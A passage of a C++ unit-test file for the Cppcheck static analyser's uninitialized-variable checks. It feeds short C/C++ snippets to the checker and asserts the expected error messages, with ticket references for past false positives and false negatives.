ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" if (b) x++;\\n\"\n \" else x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i += x) {\\n\"\n \" x = y;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i += x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:34]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo()) return i;\\n\"\n \" return 9;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" do {} while (!getvalue(&i));\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int x;\\n\"\n \" while (a()) {\\n\" // <- condition must always be true or there will be problem\n \" if (b()) {\\n\"\n \" x = 1;\\n\"\n \" break;\"\n \" }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int x;\\n\"\n \" while (a()) {\\n\"\n \" if (b() && (x=1)) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void do_something(int);\n checkUninitVar(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" for (;;) {\\n\"\n \" int a = x+1;\\n\"\n \" do_something(a);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct AB {int a; int b;};\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" while (true) {\\n\"\n \" int a = 1+ab.a;\\n\"\n \" do_something(a);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:18]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"void f(int i) {\\n\" // #4569 fp\n \" float *buffer;\\n\"\n \" if(i>10) buffer = f;\\n\"\n \" if(i>10) {\\n\"\n \" for (int i=0;i<10;i++)\\n\"\n \" buffer[i] = 0;\\n\" // <- fp\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(){\\n\" // #4519 - fp: inline assembler in loop\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" if (x & 0xf1) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(void) {\\n\"\n \" struct ABC *abc;\\n\"\n \" for (i = 0; i < 10; i++)\\n\"\n \" x += sizeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\" // #4879\n \" int i;\\n\"\n \" while (x) {\\n\"\n \" for (i = 0; i < 5; i++)\\n\"\n \" a[i] = b[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\" // #5658\n \" struct Foo *foo;\\n\"\n \" while (true) {\\n\"\n \" foo = malloc(sizeof(*foo));\\n\"\n \" foo->x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" int i;\\n\"\n \" while (x) {\\n\"\n \" for (i=0,y=i;;){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = (char *)malloc(256);\\n\"\n \" while(*p && *p == '_')\\n\"\n \" p++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Memory is allocated but not initialized: *p [uninitdata]\\n\", errout_str());\n\n // #6646 - init in for loop\n checkUninitVar(\"void f() {\\n\" // No FP\n \" for (int i;;i++)\\n\"\n \" dostuff(&i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int a;\n checkUninitVar(\"void f() {\\n\" // No FN\n \" for (int i;;i++)\\n\"\n \" a=i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"namespace N {\\n\" // #7377\n \" template\\n\"\n \" class C {};\\n\"\n \" using V = class C;\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" int r = 0;\\n\"\n \" for (int x; x < 4; x++)\\n\"\n \" r += x;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2_4494() {\n checkUninitVar(\"namespace N1 {\\n\"\n \" class Fred {\\n\"\n \" public:\\n\"\n \" static void f1(char *p) { *p = 0; }\\n\"\n \" };\\n\"\n \" void fa(void) { char *p; Fred::f1(p); }\\n\"\n \" void fb(void) { char *p; Fred::f2(p); }\\n\"\n \" void fc(void) { char *p; ::N1::Fred::f1(p); }\\n\"\n \" void fd(void) { char *p; ::N1::Fred::f2(p); }\\n\"\n \"}\\n\"\n \"namespace N2 {\\n\"\n \" static void f1(char *p) { *p = 0; }\\n\"\n \" void fa(void) { char *p; f1(p); }\\n\"\n \" void fb(void) { char *p; f2(p); }\\n\"\n \" void fc(void) { char *p; N1::Fred::f1(p); }\\n\"\n \" void fd(void) { char *p; N1::Fred::f2(p); }\\n\"\n \" void fe(void) { char *p; ::N1::Fred::f1(p); }\\n\"\n \" void ff(void) { char *p; ::N1::Fred::f2(p); }\\n\"\n \" void fg(void) { char *p; Foo::f1(p); }\\n\"\n \" void fh(void) { char *p; Foo::f2(p); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:39]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:8:45]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:13:33]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:15:43]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:17:45]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" void f1(char *p) { *p = 0; }\\n\"\n \"};\\n\"\n \"Fred fred;\\n\"\n \"void f(void) {\\n\"\n \" char *p;\\n\"\n \" fred.f1(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" class Wilma {\\n\"\n \" public:\\n\"\n \" class Barney {\\n\"\n \" public:\\n\"\n \" class Betty {\\n\"\n \" public:\\n\"\n \" void f1(char *p) { *p = 0; }\\n\"\n \" };\\n\"\n \" Betty betty;\\n\"\n \" };\\n\"\n \" Barney barney;\\n\"\n \" };\\n\"\n \" Wilma wilma;\\n\"\n \"};\\n\"\n \"Fred fred;\\n\"\n \"void f(void) {\\n\"\n \" char *p;\\n\"\n \" fred.wilma.barney.betty.f1(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:20:32]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2_malloc() {\n checkUninitVar(\"int f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" int var = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" return ab->a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Memory is allocated but not initialized: ab [uninitdata]\\n\"\n \"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\",\n errout_str());\n\n checkUninitVar(\"struct t_udf_file { int dir_left; };\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct t_udf_file *newf;\\n\"\n \" newf = malloc(sizeof(*newf));\\n\"\n \" if (!newf) {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *s = malloc(100);\\n\"\n \" if (s != NULL) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" p || assert_failed();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" x = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int* f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function parameter (treat it as initialized until malloc is used)\n checkUninitVar(\"int f(int *p) {\\n\"\n \" if (*p == 1) {}\\n\" // no error\n \" p = (int*)malloc(256);\\n\"\n \" return *p;\\n\" // error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" if (ab->a == 1) {}\\n\" // no error\n \" ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" return ab->a;\\n\" // error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(struct AB *ab);\\n\" // unknown function\n \"void f() {\\n\"\n \" struct AB *ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // analysis failed. varid 0.\n checkUninitVar(\"void *vlc_custom_create (vlc_object_t *parent, size_t length, const char *typename) {\\n\"\n \" assert (length >= sizeof (vlc_object_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_ternaryexpression() { // #4683\n checkUninitVar(\"struct B { int asd; };\\n\"\n \"int f() {\\n\"\n \" int a=0;\\n\"\n \" struct B *b;\\n\"\n \" if (x) {\\n\"\n \" a = 1;\\n\"\n \" b = p;\\n\"\n \" }\\n\"\n \" return a ? b->asd : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_rangeBasedFor() {\n checkUninitVar(\"void function(Entry& entry) {\\n\" // #7078\n \" for (auto* expr : entry.exprs) {\\n\"\n \" expr->operate();\\n\"\n \" expr->operate();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *item;\\n\"\n \" for (item: itemList) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int buf[10];\\n\"\n \" for (int &i: buf) { i = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_static() { // #8734\n checkUninitVar(\"struct X { \"\n \" typedef struct { int p; } P_t; \"\n \" static int arr[]; \"\n \"}; \"\n \"int X::arr[] = {42}; \"\n \"void f() { \"\n \" std::vector result; \"\n \" X::P_t P; \"\n \" P.p = 0; \"\n \" result.push_back(P); \"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_configuration() {\n const Settings s = settingsBuilder(settings).checkLibrary().build();\n\n checkUninitVar(\"int f() {\\n\"\n \" int i, j;\\n\"\n \" do {\\n\"\n \" i = 0;\\n\"\n \" return i;\\n\"\n \" } while (0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkExpr() {\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB *ab = (struct AB*)calloc(1, sizeof(*ab));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac_4871() { // #4871\n checkUninitVar(\"void pickup(int a) {\\n\"\n \"bool using_planner_action;\\n\"\n \"if (a) {\\n\"\n \" using_planner_action = false;\\n\"\n \"}\\n\"\n \"else {\\n\"\n \" try\\n\"\n \" {}\\n\"\n \" catch (std::exception &ex) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" using_planner_action = true;\\n\"\n \"}\\n\"\n \"if (using_planner_action) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void syntax_error() { // Ticket #5073\n const char code[] = \"struct flex_array {};\\n\"\n \"struct cgroup_taskset {};\\n\"\n \"void cgroup_attach_task() {\\n\"\n \" struct flex_array *group;\\n\"\n \" struct cgroup_taskset tset = { };\\n\"\n \" do { } while_each_thread(leader, tsk);\\n\"\n \"}\";\n ASSERT_THROW_INTERNAL(checkUninitVar(code), SYNTAX);\n }\n\n void trac_5970() { // Ticket #5970\n checkUninitVar(\"void DES_ede3_ofb64_encrypt() {\\n\"\n \" DES_cblock d;\\n\"\n \" char *dp;\\n\"\n \" dp=(char *)d;\\n\"\n \" init(dp);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n // Unknown type\n TODO_ASSERT_EQUALS(\"\", \"[test.c:4:14]: (error) Uninitialized variable: d [legacyUninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninit_(const char* file, int line, const char code[], bool cpp = true)\n {\n // Tokenize..\n const Settings s = settingsBuilder(settings).debugwarnings(false).build();\n\n SimpleTokenizer tokenizer(s, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for redundant code..\n CheckUninitVar checkuninitvar(&tokenizer, &s, this);\n (checkuninitvar.valueFlowUninit)();\n }\n\n#define ctu(code) ctu_(__FILE__, __LINE__, code)\n void valueFlowUninitTest() {\n // #9735 - FN\n valueFlowUninit(\"typedef struct\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" unsigned int flag : 1;\\n\" // bit filed gets never initialized\n \"} status;\\n\"\n \"bool foo(const status * const s)\\n\"\n \"{\\n\"\n \" return s->flag;\\n\" // << uninitvar\n \"}\\n\"\n \"void bar(const status * const s)\\n\"\n \"{\\n\"\n \" if( foo(s) == 1) {;}\\n\"\n \"}\\n\"\n \"void f(void)\\n\"\n \"{\\n\"\n \" status s;\\n\"\n \" s.x = 42;\\n\"\n \" bar(&s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:18:9] -> [test.cpp:12:13] -> [test.cpp:8:15]: (warning) Uninitialized variable: s->flag [uninitvar]\\n\", errout_str());\n\n // Ticket #2207 - False negative\n valueFlowUninit(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = a - c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // Ticket #6455 - some compilers allow const variables to be uninitialized\n // extracttests.disable\n valueFlowUninit(\"void foo() {\\n\"\n \" const int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n // extracttests.enable\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int *p;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #5240\n \" char *p = malloc(100);\\n\"\n \" char *tmp = realloc(p,1000);\\n\"\n \" if (!tmp) free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int *p = NULL;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int x;\\n\"\n \" init(x);\\n\"\n \" return x;\\n\" // TODO: inconclusive ?\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #8172\n \" char **x;\\n\"\n \" if (2 < sizeof(*x)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #5259 - False negative\n \" int a;\\n\"\n \" int x[] = {a,2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int *&y = x;\\n\"\n \" y = nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int x = xyz::x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" extern int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" int x, y;\\n\"\n \" x = (y = 10);\\n\"\n \" int z = y * 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo() {\\n\"\n \" int x, y;\\n\"\n \" x = ((y) = 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" int x = p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab;\\n\"\n \" AB *p = &ab;\\n\"\n \" p->a = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" S& rIo;\\n\"\n \" S(S&);\\n\"\n \" void Write();\\n\"\n \"};\\n\"\n \"void foo(bool b, struct S &io) {\\n\"\n \" S* p;\\n\"\n \" if (b)\\n\"\n \" p = new S(io);\\n\"\n \" p->Write();\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:10]: (warning) Uninitialized variable: p\\n\",\n \"[test.cpp:8:9] -> [test.cpp:10:5]: (warning) Uninitialized variable: p.rIo [uninitvar]\\n\",\n errout_str());\n\n // Unknown types\n {\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3916 - avoid false positive\n valueFlowUninit(\"void f(float x) {\\n\"\n \" union lf { long l; float f; } u_lf;\\n\"\n \" float hx = (u_lf.f = (x), u_lf.l);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" int *y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \" *y = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" char x[10], y[10];\\n\"\n \" char *z = x;\\n\"\n \" memset(z, 0, sizeof(x));\\n\"\n \" memcpy(y, x, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Handling >> and <<\n {\n valueFlowUninit(\"int a() {\\n\"\n \" int ret;\\n\"\n \" std::cin >> ret;\\n\"\n \" ret++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" std::cin >> b >> a;\\n\"\n \" return a;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #3707\n \" Node node;\\n\"\n \" int x;\\n\"\n \" node[\\\"abcd\\\"] >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int a(FArchive &arc) {\\n\" // #3060 (initialization through operator<<)\n \" int *p;\\n\"\n \" arc << p;\\n\" // <- TODO initialization?\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n // #4320\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" a << 1;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #9750\n valueFlowUninit(\"struct S {\\n\"\n \" int one;\\n\"\n \" int two;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void test(std::istringstream& in) {\\n\"\n \" S p;\\n\"\n \" in >> p.one >> p.two;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #9417\n \"void f() {\\n\"\n \" S s;\\n\"\n \" return s(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a() {\\n\" // asm\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" struct xyz xyz1 = { .x = x };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" char *buf = malloc(100);\\n\"\n \" struct ABC *abc = buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"class Fred {\\n\"\n \"public:\\n\"\n \" FILE *f;\\n\"\n \" ~Fred();\\n\"\n \"}\\n\"\n \"Fred::~Fred()\\n\"\n \"{\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" ab(sizeof(xyz), &c);\\n\"\n \" if (c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" a = (f2(&c));\\n\"\n \" c++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // goto/setjmp/longjmp..\n valueFlowUninit(\"void foo(int x)\\n\"\n \"{\\n\"\n \" long b;\\n\"\n \" if (g()) {\\n\"\n \" b =2;\\n\"\n \" goto found;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return;\\n\"\n \"\\n\"\n \"found:\\n\"\n \" int a = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" jmp_buf env;\\n\"\n \" int a;\\n\"\n \" int val = setjmp(env);\\n\"\n \" if(val)\\n\"\n \" return a;\\n\"\n \" a = 1;\\n\"\n \" longjmp(env, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // range for..\n valueFlowUninit(\"void f() {\\n\"\n \" X *item;\\n\"\n \" for (item: itemList) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"X f() {\\n\"\n \" if (!itemList.empty()) {\\n\"\n \" X* item;\\n\"\n \" for(item: itemList) {}\\n\"\n \" return *item;\\n\"\n \" }\\n\"\n \" return X{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // macro_for..\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" int retval;\\n\"\n \" if (condition) {\\n\"\n \" for12(1,2) { }\\n\"\n \" retval = 1;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" retval = 2;\\n\"\n \" return retval;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo(struct qb_list_head *list) {\\n\"\n \" struct qb_list_head *iter;\\n\"\n \" qb_list_for_each(iter, list) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void json_parse_nat_type_flags(json_t *root) {\\n\"\n \" int index;\\n\"\n \" json_array_foreach(root, index, value) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" goto exit;\\n\"\n \" i++;\\n\"\n \"exit:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo() {\\n\"\n \" int x,y=0;\\n\"\n \"again:\\n\"\n \" if (y) return x;\\n\"\n \" x = a;\\n\"\n \" y = 1;\\n\"\n \" goto again;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4040 - False positive\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int iter;\\n\"\n \" {\\n\"\n \" union\\n\"\n \" {\\n\"\n \" int asInt;\\n\"\n \" double asDouble;\\n\"\n \" };\\n\"\n \"\\n\"\n \" iter = x;\\n\"\n \" }\\n\"\n \" return 1 + iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // C++11 style initialization\n valueFlowUninit(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" int j{ i };\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5646\n valueFlowUninit(\"float foo() {\\n\"\n \" float source[2] = {3.1, 3.1};\\n\"\n \" float (*sink)[2] = &source;\\n\"\n \" return (*sink)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #8755\n valueFlowUninit(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" if (b == 10)\\n\"\n \" a = 1;\\n\"\n \" if (b == 13)\\n\"\n \" a = 1;\\n\"\n \" if (b == 'x') {}\\n\"\n \" if (a) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Uninitialized variable: a\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void h() {\\n\"\n \" int i;\\n\"\n \" int* v = &i;\\n\"\n \" sscanf(\\\"0\\\", \\\"%d\\\", v);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void test(int p) {\\n\"\n \" int f;\\n\"\n \" if (p > 0)\\n\"\n \" f = 0;\\n\"\n \" if (p > 1)\\n\"\n \" f += 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"unsigned char get();\\n\"\n \"char f() {\\n\"\n \" unsigned char c;\\n\"\n \" do {\\n\"\n \" c = get();\\n\"\n \" } while (isalpha(c) == 0);\\n\"\n \" return static_cast(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" char value;\\n\"\n \" for(i = 